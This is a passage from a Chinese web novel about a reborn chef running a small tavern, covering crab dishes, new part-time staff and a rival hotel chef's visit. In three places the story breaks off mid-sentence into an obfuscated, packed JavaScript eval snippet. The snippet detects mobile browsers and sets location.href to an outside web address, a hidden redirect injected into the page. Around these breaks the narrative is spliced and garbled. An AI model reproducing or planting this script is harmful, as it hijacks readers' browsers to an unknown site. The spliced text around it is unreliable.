“小子，话还是别说太早吧。” 见楚逸山回到位置，万弘顺调侃道。 “是的，我这嘴讲话太不中听，得改！”楚逸山美滋滋地等着蟹味美味，又恢复了以前浑不吝的样子。 “变得还挺快。”洛之桃轻哼一声，继续嚼着螃蟹小饺。 外皮酥脆破裂，油汁迸溅出几分在她的唇边，一嗦，蟹黄油汁入口，一嚼，软嫩蟹香满溢。 “那不是被江老板的手艺折服了嘛。”楚逸山也不反驳了，看着她腮帮子鼓鼓的，一嚼一嚼，螃蟹小饺一个接一个地消失，眼睛都直了。 江云枫一次次从厨房出来上菜，楚逸山眼睛一次次亮起，见不是送往这桌时，亮光又一次次熄灭。 等到他准备再跟江云枫求饶一次的时候，见她端着两盘菜走向自己，那一刻，楚逸山觉得江云枫整个人都在发光。 “嘿呦，谢谢老板，怎么还劳你给我送过来，我自己拿就行了。”楚逸山站起来快走两步，端过两盘菜，跟捧宝贝似的捧回桌边。 “还挺油嘴滑舌。”江云枫见他老实了，也不再调侃，回厨房刷洗碗筷。 虽然江家小酒馆也就六张桌子，可每个人都点上两三个菜，用过的碗盘很快堆积如山。 一边做菜一边刷碗实在忙不过来，江云枫开始考虑招人帮她刷洗盘子、打扫卫生了。 只是目前的营业额，招了服务员肯定是不够还房贷了。 江云枫刷着碗，想着对策。 楚逸山将两盘菜轻放在桌面上，一秒都不想再等，捞起勺子就去舀橙碗中的蟹肉。 那蟹肉橙红与白皙交杂，还有橙肉颗粒附在上面，汤汁都是橘色的。 舀起一勺，送入口中，橙香与酒香随着汤汁，莹润唇舌，蟹肉极嫩，牙齿轻触就破碎开。 蟹黄炒出的油带着河鲜的鲜味，咀嚼间，还有饱满的橙肉颗粒破碎，迸溅出温热的甜味汁水。 “嗯~”楚逸山陶醉地闭上了眼，“这是什么神仙美食啊......” 赞叹间，一抹肉汁就要顺着嘴角流出，他猛一吸，肉汁收回口中，鲜香四溢。 “幸亏没流出来，浪费了一滴都太亏了！”楚逸山坐直了身子，将盘子往自己面前拉了拉，继续舀着美味。 一勺，蟹肉鲜滑，唇齿留香。 两勺，蟹黄香而多汁，橙肉清新果味直往鼻子里钻。 三勺，酒酿翻炒过的蟹肉，带着几分微醺气息，越吃越明显，越吃越上头。 四勺、五勺...... 楚逸山心里既快活又焦急。 快活的是，这舌尖上的鲜味绵延不绝，一勺接着一勺，快乐不间断。 焦急的是，橙子做的碗里，蟹肉和汤汁的液面都在下降，白色的橙皮越露越多，很快就吃得见底了。 “死嘴，怎么吃这么快啊！”楚逸山烦躁地一拍大腿，手上还用勺子奋力刮着橙碗内壁。 直到那橙皮上白色的筋膜也挂掉一层，一丝汁水都不剩，他才停下。 甚至他还把旁边装饰用的大闸蟹壳拿起来，嗦了嗦，一点蟹香味都不放过。 “还好还有一盘蟹饺。”楚逸山将空盘推到一边，盛了蟹饺的盘子拉近自己。 白色瓷盘边沿呈现花瓣形状，两排蟹饺整齐地陈列其中。 那饺子个头正好，明明是手包的，却像是流水线作业做出来的一样大小一致，饺子边沿的花纹是麻花辫形状的，格外精致。 整个饺子是均匀的金黄色，还有淡淡的油光，好像镀上了阳光。 楚逸山用筷子夹起饺子时，外皮微微塌陷，发出一声轻轻的脆响。 咬上一口，酥皮碎裂，面皮外侧微硬，是恰到好处的油香，内侧柔软，吸了一些蟹肉的汁水。 外皮包裹的馅料更是美味，那馅料不止有蟹肉和蟹黄，还加了猪肉糜。 两者相互掺杂，蟹肉蟹黄带来鲜味，猪肉糜带来更紧实弹滑的口感和更浓厚的肉汁香气。 “这香得太过分了......”楚逸山呼着热气，一个饺子狼吞虎咽下肚，他才发觉没有细品滋味，又夹了一个，小口细嚼。 外皮包裹着馅料，面的外酥里软，搭配肉的鲜美香滑，让这一口咀嚼得超级满足。 “这香得，我都忘记沾醋了。”见邻桌拿起醋淋在螃蟹小饺上，楚逸山也照着样子倒了些醋。 加了醋的螃蟹小饺，减了几分油汁味，多了几分酸香开胃，也让蟹肉和猪肉更加有滋有味。 纵使楚逸山再小口慢嚼，还是将最后一个螃蟹小饺吃完了，最后一口咽下，看着空空如也的盘子，很是失落。 这次他也确实很撑了，吃不下任何东西。 “江老板，我再打包一份螃蟹小饺，嘿嘿嘿。”楚逸山吃得很过瘾，满面笑容来结账。 “不考虑一下活动吗？”江云枫又一指集赞活动。 “没事，我有钱。我还是全款付，今天的饭菜很值得，但是朋友圈好评我也会发的。”楚逸山接过打包好的螃蟹小饺。 “不管是肉菜还是素菜，都比我老爸做得还好吃，我很少对哪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14798707|158240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个饭馆做这么高的评价，江老板是真心厉害。” “行啊，那下次再来。”江云枫嘴角微扬，摆摆手。 - 江云枫下午不忙时，搜索了一下社交软件，发现她虽然招不起全职员工，但是兼职还是可以招得起的。 她需要一个服务员，负责端菜、刷洗盘子；还需要一个帮厨，做菜最费时的就是备菜，帮厨替她洗菜、切菜，能省下不少时间。 两人只需要在中午晚上高峰期时，各工作两个小时就行，工资按照市场价，包午餐和晚餐。 决定好需要两个兼职员工后，江云枫在【江家小酒馆食客群】发了招聘消息，立刻收到了很多回复。 虽然大家都很捧场，可群内大部分人都是有稳定工作的，或者就是还在上学，一下午都没有人通过联系方式加她。 正当江云枫想着，再印点宣传单发一发时，手机弹出一条消息。 “江老板，我可以做服务员兼职吗？” 消息来自之前在菜市场偶遇，差点被小商贩坑了的女生林若雪。 “你之前有过刷洗碗盘的经验吗？”江云枫思考了一下，刷洗碗盘需要比较快速，否则餐具不够用。 “不止有这个经验，收拾各种东西我都在行！”林若雪很快回复，“我的主业是收纳师，不过时间比较自由，中午晚上的时间我都可以兼职。” “餐具我先留着不洗，你来店里洗碗试试看吧。” “好嘞！” 林若雪在晚餐前到店，先给江云枫展示了几个视频。 “你看，这是我做收纳师时的实时录像。”林若雪把手机端到江云枫面前。 请林若雪收纳的房子，根本不是一般的脏，屋内堆满了垃圾，厨房充满陈年油污，地毯被污渍染色。 视频里，林若雪快速扫干净垃圾，扫地拖地、刷碗洗盘，用钢丝球刷油污，用清洁剂洗地毯，将凌乱的物品归置得整整齐齐。 打扫完的房间焕然一新。 “看着真解压。”那房子一开始看着就脏臭，后来看起来香香的，江云枫心情都好了，“看来你到我们店是大材小用啊。” “我就是觉得清理东西很解压，才喜欢做这些。” 林若雪今天穿得很利落，她顺了顺刘海，卷起袖子，到后厨洗了餐具，清理灶台，又把大堂桌子擦了三回，地拖了两遍。 “真不错，术业有专攻。”江云枫看着整个店窗明几净的，心生愉悦。 林若雪不仅动作快、效率高，还很细心，连大堂的陶瓶都拿起来擦试过，也将厨房内快用完的调料添满。 “那江老板，我可以在这里兼职吗？”林若雪满眼期待。 “可以的，哦对了，这里的规矩是要办个健康证，你办好了就可以来兼职了。”江云枫把现代的规则摸得很清楚。 “没问题！”林若雪雀跃地攥紧了拳头，在这里兼职，那就代表着每次出新品，都可以最先品尝了。 又有好吃的，又有钱赚，真是美滋滋！ 江云枫笑着目送林若雪离开，却有些落寞地垂了眸。 上辈子陪江云枫在厨房里洗洗涮涮的，是她的二徒弟宁映葵，宁映葵比江云枫小五岁，从小就黏着江云枫，后来又黏到了江家小酒馆给她帮忙。 宁映葵古灵精怪，又叽叽喳喳，经常把江云枫逗笑，又在把她惹生气后逃走。 以前江云枫觉得有点吵，现在很是怀念。 江云枫揉揉太阳穴，把回忆压下去，看了眼手机，临近饭点，她要开始备菜了。 刚走进厨房，手机消息提示音响起，一个陌生人加了她的联系方式。 17. 螃蟹小饺 江云枫看了一眼添加留言，那人介绍自己名叫李博鸿，通过店内某个常客加到的江云枫。 他说自己是大二的学生，课余时间比较多，而且曾经给亲戚的小饭馆帮厨，希望能得到这份兼职。 江云枫正愁找不到人，通过了申请，约好第二天上午来店里面试。 - 李博鸿家境不太富裕，平时的生活费紧紧巴巴的，稍微买点日用品，月末就得啃白馒头。 离学校近的地方，只有江家小酒馆在招兼职，既能赚钱，还能包两餐，他眼睛都亮了。 然而第二天按照江云枫给的地址到店，越走他越失望，没想到这个饭馆藏得这么幽深。 偏僻店面的房租便宜，选择便宜店面的饭馆，营业额估计很差，做的饭估计也难吃。 但李博鸿想想，这里饭菜再怎么难吃，应该也比干啃白面馒头好吃。而且来都来了，李博鸿虽然失望，还是抱着认真的态度进了店。 “你好，我来面试的。嗯......我叫李博鸿。” 江云枫抬头，眼前是个二十岁左右的男生，非常瘦，穿着洗白的卫衣和牛仔裤，礼貌又拘谨。 “昨天你说曾在亲戚的饭馆帮厨，大概做了多久？” “这个......差不多半年。” “我们饭馆高峰期时，备菜需要很快，洗菜、切菜都要非常熟练、迅速，所以现在我需要对这两方面进行考核，可以吗？” “嗯......好。” 上一世饭馆刚招人时，也有不少年轻人来尝试，经验不足的人，洗菜不干净，切菜很慢又容易切到手，不仅帮不上忙还帮倒忙，江云枫考核一下才放心。 李博鸿看着很社恐，问什么答什么，话也不多，表现很不自然。 但一进厨房，好像找到了自己的主场，洗菜快速，而且会一些食材的便捷处理手段。 比如番茄划出十字，在热水里泡过，一秒脱皮。比如栗子开口，煮过之后一撕全剥壳。比如用淀粉加盐浸泡洗菜，更干净。 各种菜的切丝、切块、切段，也都处理得很好。 更让江云枫满意的是，李博鸿非常爱干净，途中有水溅在桌子上，立刻用抹布擦干净，但凡碰过抹布，都会再次洗手再碰菜。 “没什么问题，考核通过了，需要你去办一下健康证，办好后就可以来兼职了。”江云枫确认了李博鸿确实有不少经验，“工资就按照之前公布的，午饭晚饭免费提供。” “好的。”李博鸿点点头，“那个......老板，午餐晚餐吃什么？” “店内的菜品可以任选，在这里。”江云枫一指大堂内的黑板。 李博鸿刚到店，就注意到了那些有点古风气质的菜名，以及看着就飘香味的照片。 很多饭馆为了省钱，准备的员工餐都是很便宜的饭菜，不能吃店里的名贵菜。 没想到在江家小酒馆，连螃蟹都在任选范围内，而且看这些照片，都很好吃。 李博鸿又燃起了期望，眼睛亮了：“好的老板，我马上去办健康证，办好立刻联系您。” 江云枫看着李博鸿离开的背影，虽是笑着，却叹了口气。 李博鸿当时在忙碌时的表现，总让江云枫想起上辈子的大徒弟言亦轩。 上辈子，言亦轩跟江云枫住在一个坊内，算是邻居，比江云枫小三岁。虽然他小时候比江云枫矮了一头，但是只要有人说江云枫的不好，他就冲上去跟人对骂、对打。 江云枫一直把他当弟弟看待，开起江家小酒馆后，也是第一个收他为徒。 不过后来收了宁映葵当二徒弟后，这两个徒弟就有点不对付，总是拌嘴，都在试图争取成为江云枫最重要的徒弟。 言亦轩比李博鸿更爱干净，甚至有点洁癖和强迫症，平时也不怎么爱说话，只有在跟宁映葵斗嘴时一句接一句的。 不过江云枫能确定，李博鸿不是言亦轩的转世，毕竟她的大徒弟性格清高傲气，跟李博鸿的气质差得太多。 江云枫在考虑，等还完这个月房贷，想办法通过这个神奇的互联网，说不定能找到徒弟的线索。 不过，现在要做的还是好好营业。 - 楚逸山带着打包好的螃蟹小饺，回了学校。 和一般的高中一样，楚逸山所在的学校食堂非常难吃，正常的蔬菜总能跟奇怪的水果炒在一起，不是重油重盐，就是稀稀的汤。 一天不吃贼饿，吃了难受一天。 做菜好吃的老爸，把楚逸山口味都养刁钻了，吃食堂更难受。 学校晚饭饭点不开校门，没法出去买热乎乎的小吃摊，好在学校食堂有微波炉，可以自己带饭热了吃。 楚逸山在食堂热了螃蟹小饺，提回教室，手一撑，坐上了桌子，曲腿踩在后一排桌子上，扎了一个螃蟹小饺。 筷子扎透饺子，“咔擦”脆响，内里的汁水迸溅出了一些，是橙黄色的。 他把一整个饺子塞到嘴里，大嚼特嚼。 饺子皮酥酥地碎裂，肉汁一下子溢出来，蟹肉混合猪肉香，唤醒了味蕾。 楚逸山不怎么听课，在教室坐一下午无聊又困，这香味一激，他立马不困了。 软嫩的蟹肉鲜味十足，汁水流淌过舌头，让舌头都香得颤抖，猪肉带着紧实的质感，汤汁也是酱过的，咸香醇厚。 “没想到凉了再热，还是好吃。”楚逸山点着头，夹起第二个饺子。 正是晚饭饭点，一半的学生被迫去食堂吃饭，另一半的自己带了饭菜或者面包来，可即使各种香味掺杂在一起，却还是楚逸山端过来的饭最香。 他刚把螃蟹小饺端进教室，那股热油包裹的螃蟹香味就开始蔓延。 很多人正吃着饭，忽然觉得手里的饭不香了，四下抽动鼻子吸气，寻找香味来源，好几个人锁定了楚逸山。 “楚哥，你在吃什么啊？”坐在他后两排的王渊豪，带的是猪肉荠菜饺子外卖，闻到香味，端着饭盒好奇地凑过来。 “螃蟹肉饺子，怎么样，是不是很香？”楚逸山夹着一个饺子，在他面前晃晃悠悠的，香味直往王渊豪鼻子里钻。 在他忍不住靠近闻时，楚逸山一收手，咬了一大口饺子。 那剩下的小半牙饺子，侧面能看到馅料，橘色的蟹肉和酱色的猪肉掺和在一起，是饱满的全肉馅，看着就香。 “第一次见到饺子放这么多肉馅。”王渊豪咽了咽口水，低头看看手里的饭盒。 王渊豪带的外卖饺子，外皮硬硬的，根本没有发面的鲜味，里面的猪肉馅很少，多的是冒充肉馅的荠菜和筋，整个饺子一点儿也不香。 对比之下，眼前这金灿灿的蟹肉饺子，简直上了不止一个档次。 “可以让我尝一个吗？”王渊豪眼睛盯着螃蟹小饺，移不开了，“我可以用猪肉荠菜饺子跟你换。” 楚逸山本来是不乐意的，可想想王渊豪平时对自己不错，每次都把作业借给自己抄，有些勉为其难地答应了。 “好吧。” “好嘞，谢谢楚哥。” 王渊豪给他夹了两个猪肉荠菜饺子，又把一个螃蟹小饺小心翼翼地夹回自己饭盒。 那螃蟹小饺状若弯月，表面金黄，因为附了油汁，还有些发亮，边缘的花纹整整齐齐，好像艺术品。 王渊豪一口咬下半个饺子，那肉汁嘣出来，在他下巴上。 “嗯？”王渊豪一缩脖子，瞧着饺子内，大块的肉浸在澄黄的汁水中，格外诱人。 他顾不得擦嘴，细品着口中的美味，面皮外酥里嫩，吸了些肉汁，嚼着满口鲜香，蟹肉占比更多一些，独属于河鲜的鲜味，每嚼一下，就溢出来几分。 虽然同为猪肉，可这螃蟹小饺里的猪肉，却比他刚才吃的猪肉荠菜里的猪肉，更加鲜嫩美味。 这口刚咽下，王渊豪嘴巴凑近剩下的半个饺子，一嗦，“滋儿”的一声，饺子里的肉汁都被他吸出来了。 “天呐，怎么会这么香。”王渊豪感觉从牙龈，到牙齿，到舌头，到整个口腔，都弥漫着蟹肉和猪肉的香味。 王渊豪脸上挂了幸福的微笑，可楚逸山这边却痛苦地皱起眉头。 如果是之前，他可能还会觉得这饺子只是水平一般，但还能吃下去。 可现在吃完了螃蟹小饺，这硬邦邦、一点也不香的猪肉荠菜饺，实在难以下咽。 他只吃了小半个，就把猪肉荠菜饺扔在一边，碰也不碰了。 “这就是你中午发的江家小酒馆的螃蟹饺子吗？”又有几个同学凑过来。 楚逸山点点头，嘴上吃个不停。 “闻着好香！秋天真是吃螃蟹的好时候啊......” “我都没想到，螃蟹还能包成饺子呢，个头还这么大，看着就好吃！” “楚逸山，我能不能跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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可这螃蟹小饺的内馅，只有蟹肉丝和蟹黄，只有肉香没有苦味，而且用酒酿除腥，非常彻底，不仅没有腥味，还添了酒香。 蟹肉的鲜味在舌头上，简直可以说是享受。 哪怕平时吃饭慢慢的许凝蕊，也加快了咀嚼速度，一个螃蟹小饺很快下肚，意犹未尽地舔了舔嘴唇。 同学们还热闹着挤在楚逸山面前，很多人都知道了这贼香的饺子来自江家小酒馆，而且这两天，楚逸山和顾瀚海都发过江家小酒馆的地址，一群人约着准备这几天就去吃。 - 楚逸山下了晚自习回家，已经十一点了，推开门却发现厨师老爸楚家雄竟然坐在客厅里。 往常这个时候，楚家雄早就睡了。 楚逸山有点心虚，以为自己又被班主任打电话给家长了：“额，爸，你怎么还不休息？” “我生气啊。”楚家雄抱着胳膊，满脸横肉挤在一起，“你今天发那个朋友圈什么意思？什么叫【江家小酒馆的饭菜好吃到爆！连我爸做的菜都比不上江老板的小手指头，能吃到这里的饭菜可真有福气啊，比如我！】？” “怎么，我做的菜不是天下第一最最好了？”楚家熊人高马大的，说这话时竟然有点委屈。 “原来是这事哈哈哈哈哈。”楚逸山一听不是自己犯坏被告状，放松下来，但也很后悔朋友圈没屏蔽老爸，还是跟楚家熊说明了原委。 “你是说一个二十出头的年轻厨师，做得比我好吃？”楚家熊更生气了。 “你自己去吃一下就知道了，地址我发你。”楚逸山发了地址，赶紧溜了。 “我非得看看这饭里下了什么迷药。”楚家熊记下了江家小酒馆的地址。 - 又是一天营业结束，江云枫算了一下营业额。 目前江家小酒馆已经通过口口相传的方式，积累了不少人气，食客群突破了80人。 去掉兼职人员的工资，每天的净收入超过300元，按照这个营业额，差不多刚好能在还贷日前一天，赚够8000元。 江云枫放下心来，只要按部就班，短期内不会有经济压力了。 然而，江云枫接到了意料之外的一通电话。 “你好，是江女士吗？您的小狗在我们宠物店寄存到期了哦，请问您什么时候来接它？” 18. 蟹黄面 接到这通电话，江云枫瞬间想到，记忆中的5000元小狗治疗费大概来源于此。 仿佛触发了什么关键词，回忆如泄洪般涌入脑海。 将近两个月前，原主回家时捡到一只瘦骨嶙峋、浑身脏臭的流浪狗，送去宠物医院查出了胃病和皮肤病。 当时她身上钱不够，由“芳草地宠物医院”的姜小麦医生帮忙垫付剩下的部分，由于原主想领养这条小狗，因此医疗和寄养费用都算在了原主身上。 只是后来原主查出胃癌晚期，很快去世，没来得及为小狗安排。 可能因为愧疚没能给小狗一个温暖的家，以及让姜小麦付了太多钱而无力偿还，原主刻意回避这段记忆，导致江云枫起初完全没有小狗相关的记忆。 江云枫在心中暗暗叹了口气，她上辈子也想过养小狗，可每日营业大小事务都需要她处理，一直不得空。 这辈子有机会拥有一只小狗，她很乐意，也算是为原主完成未了的心愿。 江云枫在电话里，和对面的姜小麦医生约好，第二天下午三点到店里接小狗。 然而这样一来，就不得不面临一个问题——提前还治疗小狗的5000元，而营收计划又要重新安排。 回家的路上，江云枫一直在思考加速盈利的方式，顺路在沿街的美食店都逛了逛。 时值金秋，正是螃蟹肥美的时候。 在大梁，螃蟹一般做成蟹酿橙、螃蟹小饺两道菜。 可在现代的美食店逛了逛，江云枫发现，很多店都在卖“蟹黄面”，也就是将蟹黄蟹肉炒制之后，同面条拌在一起。 所用的蟹黄和蟹肉量更多，能铺满整个碗面，不过单价也更贵，价格一般在128元/碗以上，比较多的是188元一碗，更贵的上不封顶。 而且这些店都门庭若市，为了秋天的一口鲜肥，食客们也乐意付费。 江云枫默默地把蟹黄面列入新品菜谱，只是江家小酒馆毕竟客流量不够大，未必能吸引到同等消费水平的受众，她决定将价格定在88元一碗。 不过这个价格也比蟹酿橙和螃蟹小饺高了一大截，怎么让食客有高性价比的体验？江云枫将重点放在了汤底上。 第二天开门前，江云枫先去市场买了猪大棒骨、黄鳝骨、鲜虾、老母鸡，四种食材加入香料，共同熬制出一锅高汤。 那汤集合了家禽、海鲜、河鲜的精华味道，不仅香得很有冲击力，而且色泽也很讲究。 汤面呈现出半透明的奶白色，表面没有粘稠的浮沫，汤汁略微浓稠，用这种汤下出来的面，浓香都锁在了面里。 那面也要选细细的银丝面，这面煮出来顺滑又筋道，对汤汁的吸收很到位。 李博鸿带着健康证到店时，江云枫正在将银丝面捋顺，下入冒着热气的浓香汤汁中。 “这是什么汤......味道又香又奇特。”李博鸿没想到刚到店，就受到了香味暴击。 “天上飞的，地上跑的，河里、海里游的，都在锅里了。”江云枫笑道，看着那白色的面在汤中染上澄黄。 “那老板，我现在备什么菜？”李博鸿压抑住食欲。 “就先从剃螃蟹肉开始吧。” 江云枫从笼屉中拿出刚蒸好的螃蟹，告诉他哪些是螃蟹的器官，需要剔除，怎么样拆蟹，省力、快速又能尽量不损耗蟹肉。 示范了两次后，江云枫让李博鸿试一试。 “学习能力挺不错嘛。”江云枫看着他的动作，肯定道。 李博鸿之前没有处理过螃蟹，不过教过两遍后，虽然不能像江云枫那样几乎不破坏蟹壳，但已经能熟练且低损耗地剥离蟹肉和蟹黄了。 厨房里，蟹壳“咔擦”打开的声音，蟹腿掰碎的“咔滋”声不绝于耳。 见江云枫起锅热油，李博鸿问道：“这个蟹肉量可以吗？” 旁边白瓷盘里，金黄的蟹黄和嫩白的蟹肉，已经堆起一座小山。 “可以，很不错！” 江云枫登时觉得，找人帮忙确实轻松很多，之前自己拆蟹，拆多了指关节难受，现在只需要直接炒就可以了，省心省力。 蟹黄和蟹肉爆香之后，面条也差不多好了。 这时间，江云枫是掐好表的，多几分钟，面就会软烂成一片，少几分中，面里的芯子又会不熟，硬硬的不好嚼。 “好的，出锅。” 江云枫拿起长筷子，快速来回挑动锅里的面，那原本杂乱的面，竟然非常迅速地在筷子上捋顺了，放在碗里时，像是梳子梳过一样整齐。 这操作，把李博鸿看呆了。 面是澄黄色，蟹黄与蟹肉炒成了金黄色，而且汤汁勾芡，从肉丝到汤汁都很浓稠，直接淋在面上，将面丝悉数盖住，铺了满碗。 江云枫又打着圈淋了一小碟醋。 “大功告成。”江云枫打了个响指。 “哇......”在面做好的过程中，李博鸿越来越意识到江云枫手艺的厉害，又因为自己选了这里兼职而暗爽。 此时他看着眼前这碗喷香的面，更觉得腹中空虚。 “你先尝尝咸淡。”江云枫将碗端到李博鸿面前。 “啊？老板这不好吧......”李博鸿没想到竟然还有自己的份，虽然想吃，却也顾及着上下级关系，“您先吃。” “不用客气，我不是那种高高在上的老板。”江云枫大气一挥手，继续盛面，“而且我做了三人份的，我们三个先吃，吃完了好忙午高峰。” 正讲着呢，林若雪快步走进店里，气喘吁吁的：“哎呀......江老板......我......我看到你发的消息，赶紧......跑来了，没耽误吃......吃饭吧......哦，正好赶上！” 林若雪的清理工作一般在中后段，所以上下班时间都比李博鸿晚一个小时，但看到江云枫跟她说有机会先尝新品，她提前半小时就跑过来了。 “来得早不如来得巧。”江云枫将盛好的剩下两碗端出厨房，“开饭了。” 李博鸿端着碗走出来，坐在林若雪旁边。 见江云枫已经动筷，两人也不再客气。 吃过学校油乎乎的饭菜，再啃几星期的白馒头，李博鸿面对普通的小炒，都能哈喇子流一地，更别说这样不寻常的佳肴了。 他焦急地用筷子搅拌着蟹黄和蟹肉，让上面的蟹浇头慢慢渗透到面层里，再包裹每一根面条，整碗都是金黄色。 终于拌好，挑起一撮面，他着急忙慌地送入口中。 第一口，满是蟹肉香味，蟹黄绵密鲜甜，蟹肉软嫩，尤其是那勾芡的汤汁，鲜味十足。 嚼一嚼，面条非常筋道，一点也不会软烂在口中，口感非常清爽。 “嚯，好鲜。”李博鸿趁着口中咀嚼之际，继续搅拌着面，让缓缓流下的蟹肉汁，重新粘回面上。 本以为这香味到此结束，可没想到，越嚼越香。 那面不像普通的水煮面，除了寡淡的面味就没了。而是每一根，从内到外都渗透了肉汁的香气。 这香气不仅浓郁，而且多样，鲜、咸、香、温热，但凡嚼上一口面，便觉得停不下来，只想一口一口一直吃下去。 “怎么会有这么美味的面啊......”李博鸿说着，鼻子一酸。 他之前都吃的什么破烂东西！只能维持基本的生命体征。 而这香香的蟹黄面，简直能续命！ 林若雪在一旁也吃得不亦乐乎，她很喜欢嗦面，先是将蟹黄面搅拌均匀，再提起一长绺面，咬住顶端，一嗦。 面“呼呼噜噜”入口，外面的浇头一半入了口，另一半留在了唇边。 “天呐，这竟然是我昨天吃过的汤面条！这面条简直有了灵魂！”林若雪来回舔着嘴唇。 口中满是面香，不同于软塌塌的面带来的不爽利的感觉，这面又弹又滑，入口柔顺，质感有韧性。 母鸡和猪大棒骨，给面汤带来浓郁的香味和鲜味，虾头的虾黄很肥美，黄鳝骨满是河鱼香气，几种味道相融合，再渗透进面里，简直要把人香迷糊。 蟹肉蟹黄完全包裹在了面上，简直融为一体，鲜香味道让人忍不住浪费一滴。 李博鸿小口慢嚼，每吃几口，就加一些蟹肉相佐，边吃还边连连点头。 林若雪一筷子一筷子嗦面，那面很快见底，她很有经验地拿了勺子，将碗底最后一些碎的肉糜和挂壁的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“你们店的菜都是老板做的？”楚家雄眉头一凛，语气逐渐带有压迫感。 “是的。” “哪个是招牌菜？” “招牌菜？......”林若雪被问懵了，这每一道菜都贼好吃，怎么能排出第一第二呢？ 林若雪用笔尾挠着刘海：“所有菜品都是招牌菜。” “什么？”楚家雄不敢相信自己的耳朵，“你是说每道菜都好吃吗？” “是这样的，闭着眼睛选也不会失望。”林若雪肯定道。 楚家雄看这小姑娘如此肯定，心生不悦，他自己从业二十多年，都不敢保证做什么菜都好吃，只能说有一些擅长，还有很多不擅长。 他本想把招牌菜各点一份，可现在不行了。 “行吧，那就要......蟹酿橙、蟹黄面各一份，喝的要一瓶啤酒，再加个鲜虾煲，我尝尝究竟有多好吃。”楚家雄嘴角向下撇着。 “没问题，绝对惊艳！”林若雪“唰唰”记录下来，转身走向厨房。 楚家雄点完菜，手撑着桌子，环顾大堂里的食客们。 每个人脸上都挂着幸福的微笑，一口接一口地吃着面前的美食，甚至都没空对聊。 楚家雄也闻到了整个店内弥漫的香气，客观来说，确实比他们五星级酒店做出来的饭菜，甚至要更香一些，可他不想承认。 没过多久，他点的菜都上了桌。 粉嫩的虾肉浸润在橙红色的汤汁中，白豆腐也染上一层莹润的汤汁。 橙碗饱满圆润，内里的蟹肉炒橙肉量很大，令人垂涎欲滴。 林若雪用开瓶器“呲”地开了啤酒，放在楚家雄面前：“请慢用，蟹黄面马上就好。” 虽然内心不屑一顾，可上菜期间，楚家雄的神经一直紧绷着。 一直到那蟹黄面上桌，他才松了一口气。 他们五星级酒店的招牌，就是蟹黄面，也是他的拿手菜。 这江家小酒馆的蟹黄面价格比市面上低一截，楚家雄认为一分钱一分货，味道估计也就那样。 他用筷子随意地翻拌着面条，闻了闻，轻蔑地笑了。 “也不过如此。” 说着，他挑起拌匀的面条，送入口中。 19. 蟹黄面2 原本他走了一路，嘴唇有点干，这第一口蟹黄面吃到嘴里，莹润的汤汁滋润口舌，香味登时充盈口腔。 嚼了几口面，楚家雄有些震惊地睁大眼。 “这面是用什么吊汤煮出来的？竟然能这么香......”楚家雄小声嘟囔着，放慢了咀嚼的速度，细细品味着。 那面筋道弹牙，而且细细的很方便入口，外层包裹的是蟹肉的鲜美味道，内里的香味层次感很强，集合了好几种食材的香味，非常神秘。 “应该有鸡汤、豚骨汤......”楚家雄闭上眼睛慢慢咀嚼。 随着食物的咽下，那别样的香味渐渐消失，他想要留住这味道，赶紧又扯了一小撮面，“吸吸溜溜”入口，腮帮子都鼓鼓的。 “还加了什么汤煨出来的啊，可以做到这么鲜......鱼汤吗？好像又不太像......”楚家雄继续品味着。 包裹了勾芡过的蟹肉汁的面，每一口都是水分刚好。 不知不觉间，大半碗蟹黄面下肚，楚家雄反应过来时，有点惊讶，这小馆子的面，居然比他自己做的还要出彩。 尤其是蟹肉间，没有夹杂一丝会让口感变差的蟹的器官，蟹黄香浓而绵密。 而且加了醋的缘故，让这蟹的口味更添几抹清新，即便是一口接着一口地吃，却也不腻，每一口都像是第一口一样美味。 “确实有点的功夫。”楚家雄向来实事求是，佩服地点点头。 最后盖住碗底的几筷子面，他舍不得吃完，拿起啤酒瓶，痛饮了两口。 清爽微苦的啤酒，冲走了口中的香味，让他有些不舍。 很快，他又将视线转移到了蟹酿橙上。 这道菜他之前了解过，是一种古代做蟹的方法，只不过很难做得符合大众口味。 橙肉加多了，就盖住了螃蟹的鲜味，螃蟹多了，又尝不出果香，而且蟹腥也很难盖住。 再者说，现在很多模仿古代做菜的饭点，都只是模仿了个皮毛，算不上是真正的古菜。 然而这样的刻板印象，随着他舀了一勺蟹酿橙，送到嘴里后，改变了。 蟹肉和橙肉的用量、炒制恰到好处，果香让蟹肉增添一抹富有生机的果甜，蟹肉又是恰到好处的咸口。 两者味道相辅相成，合二为一，而且汁水丰厚，让楚家雄一勺接着一勺，吃得停不下来。 “呼——呼——”楚家雄嘬勺子的声音格外大，一整份蟹酿橙吃完，他还有点不过瘾，“乖乖，这小饭馆的老板是何方神圣啊，做菜这么好吃。” 楚家雄探头望向厨房，金色的阳光斜照进厨房，让江云枫耳朵上的深红色枫叶耳钉，一闪一闪地反光。 虽然两个锅里的菜需要来回炒制，她却丝毫不会手忙脚乱，既能控制好火候，又在各种食材间来回而游刃有余，总让人觉得她有种超凡的气质。 “果然不一般。”楚家雄又将视线收回饭桌，几口啤酒下肚，他惬意地眯起了眼睛，他本来想着，尝到这里的饭菜不好吃，那就吃两口就走了，没想到大快朵颐了一顿。 